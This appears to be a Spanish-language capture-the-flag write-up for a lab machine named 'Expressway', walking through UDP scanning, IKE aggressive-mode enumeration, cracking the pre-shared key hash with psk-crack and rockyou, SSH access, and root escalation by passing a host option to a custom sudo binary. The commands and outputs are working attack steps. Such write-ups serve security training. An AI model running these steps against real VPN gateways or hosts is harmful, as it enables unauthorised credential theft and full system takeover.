Expressway
Utilidades necesarias
Antes de empezar, esta máquina requiere de herramientas que se deben instalar, he aqui la lista:
| Utilidad | Repositorio |
|---|---|
| udpx | https://github.com/nullt3r/udpx.git |
| ike-scan | https://github.com/royhills/ike-scan |
| RockYou | https://weakpass.com/wordlists/rockyou.txt |
A continuación, deberemos de disponer conectividad con la máquina victima para empezar.
Escaneo de la máquina victima
En primer lugar, se debe observar lo que hay delante, es por ello que voy a llevar un primer escaneo con nmap para detectar puertos abiertos:
nmap -sS -Pn -n --min-rate 5000 --open -vvv 10.10.11.87 -oX targeted.xml
Y para ver la salida limpia:
xslproc targeted.xml > targeted.html && xdg-open targeted.html

Se observa que únicamente se encuentra abierto el puerto 22 con ssh. Eso nos indica que se debe observar los puertos UDP. Para ello, haré uso de la herramienta udpx. Que se puede instalar como se indica en la sección Utilidades necesarias.
Para realizar el ánalisis deberemos ejecutar el siguiente comando:
$ udpx -t 10.10.11.87 -c 128 -w 1000
2025/12/01 19:54:31 [+] Starting UDP scan on 1 target(s)
2025/12/01 19:54:48 [*] 10.10.11.87:500 (ike)
2025/12/01 19:55:01 [+] Scan completed
Aquí se observa que el puerto 500/UDP está abierto y usa el protocolo IKE.
IKE (Internet Key Exchange) es el protocolo que usan las VPN para que cliente y servidor se pongan de acuerdo de forma segura sobre quién es quién, qué cifrado usarán y qué claves secretas emplearán, antes de empezar a enviar datos. Básicamente, prepara el terreno para que la conexión sea privada y confiable.
Pues bien, si hacemos un escaneo más profundo usando la herramienta ike-scan, se pueden descubrir varias cosas realmente interesantes que pueden ser explotadas.
$ sudo ike-scan 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Main Mode Handshake returned HDR=(CKY-R=c958930645789871) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Ending ike-scan 1.9.6: 1 hosts scanned in 0.115 seconds (8.68 hosts/sec). 1 returned handshake; 0 returned notify
Lo más destacado y con lo que nos tenemos que quedar es que:
- See usa autenticación basada en PSK (Pre-Shared Key): significa que la autenticación está basada en una clave compartida.
- Los algoritmos criptográficos ofrecidos (todos obsoletos):
- Enc=3DES
- Hash=SHA1
- Grupo DH = modp1024 (Group 2)
Y si ahora hacemos un escaneo agresivo (con el parámetro –agressive o -A), obtenemos lo siguiente:
$ sudo ike-scan -A 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned HDR=(CKY-R=9ae16cc0e4532f15) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
Ending ike-scan 1.9.6: 1 hosts scanned in 0.119 seconds (8.41 hosts/sec). 1 returned handshake; 0 returned notify
Podemos sacar varias conclusiones:
- El servidor nos ha respondido en modo agresivo lo que significa que ha dado información sin necesidad de credenciales.
- Los algoritmos usados están obsoletos y el uso de Pre-Shared Key (PSK) hace que sea una opción más que valida buscar la clave compartida.
- Nos devuelve una usuario, ike@expressway.htb oro puro para un ataque de fuerza bruta sobre PSK pues ya tenemos nombre de usuario.
Con todo esto, es momento de realizar la obtención del hash de autenticación.
Obtención de credenciales
Obtener la contraseña
Hay que obtener el hash de autenticación para poder realizar un ataque por fuerza bruta.
$ sudo ike-scan -A 10.10.11.87 --id=ike@expressway.htb -Pike.psk
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned HDR=(CKY-R=b4c5f38595bc9e49) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
Ending ike-scan 1.9.6: 1 hosts scanned in 0.071 seconds (14.03 hosts/sec). 1 returned handshake; 0 returned notify
Ya con el hash, se hace el ataque por fuerza bruta usando el diccionario rockyou.txt y la utilidad psk-crack:
psk-crack -d /usr/share/wordlists/rockyou.txt ike.psk
Si sale bien la contraseña estará, ahí y asi es.
Obtener la bandera de usuario
Probaré suerte a ver si puedo acceder a la máquina con el usuario ike y la contraseña que acabo de obtener a través de ssh:
ssh ike@10.10.11.87
Estoy dentro y ya puedo visualizar la flag:

Escalada de privilegios
Una vez estamos dentro, es hora de buscar la manera de obtener la bandera del usuario root. Para ello, en un primer intento veo a que tiene acceso el usuario ike como root:
$ sudo -l
Password:
Sorry, user ike may not run sudo on expressway.
Es una salida que no corresponde al binario de sudo por lo que miro a que está apuntando:
$ which sudo
usr/local/bin/sudo
Vaya, esto es curioso y potencialmente vulnerable, mucho ojo con que se indique el dominio. Pero no suficiente. Necesitamos más.
Siguiendo con la busqueda, se observa que el usuario ike puede acceder a los logs de squid:
$ cat /var/log/squid/access.log.1
...
1753229688.902 0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
...
Entre todos los logs, destaca este en particular. Acceso denegado a un subdomio desde el exterior.
Existe un parámetro de sudo que permite indicar el dominio -h, vamos a probar a indicarle el dominio offramp.expressway.htb desde la ruta /usr/bin de la siguiente manera:
/usr/local/bin/sudo -h offramp.expressway.htb ./bash
Pues vaya, ya tenemos acceso como root:
$ whoami
root
$ cat /root/root.txt
99dd55eacf2280107e5e30be90a3097d
Resultado

Hecho por Iñaki Spinardi